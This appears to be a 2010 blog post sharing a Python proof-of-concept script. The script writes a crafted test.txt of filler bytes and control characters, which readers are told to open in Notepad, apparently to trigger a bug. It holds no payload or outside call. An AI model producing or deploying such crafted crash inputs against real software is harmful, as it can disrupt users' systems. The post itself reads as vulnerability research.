venerdì 6 agosto 2010

Playing for fun with notepad...

It's holiday time, so here it is a present for you! More informations (and investigations) will be available on September.
Just run the script and open the file "test.txt" with notepad.exe

# python

byte_01 = "\x00"
byte_02 = (
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41"
)
byte_03 = "\x02"
byte_04 = "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
byte_05 = "\x03"
byte_06 = (
"\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43"
"\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43"
"\x43\x43\x43\x43\x43\x43\x43\x43\x43"
)
byte_07 = "\x04"
byte_08 = (
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44"
)
byte_09 = "\x05"
byte_10 = "\x45\x45\x45"
byte_11 = "\x06"
IpackIt = (
byte_01 +
byte_02 +
byte_03 +
byte_04 +
byte_05 +
byte_06 +
byte_07 +
byte_08 +
byte_09 +
byte_10 +
byte_11
)
mHandle = open('test.txt', 'w')
mHandle.write(IpackIt)
mHandle.close()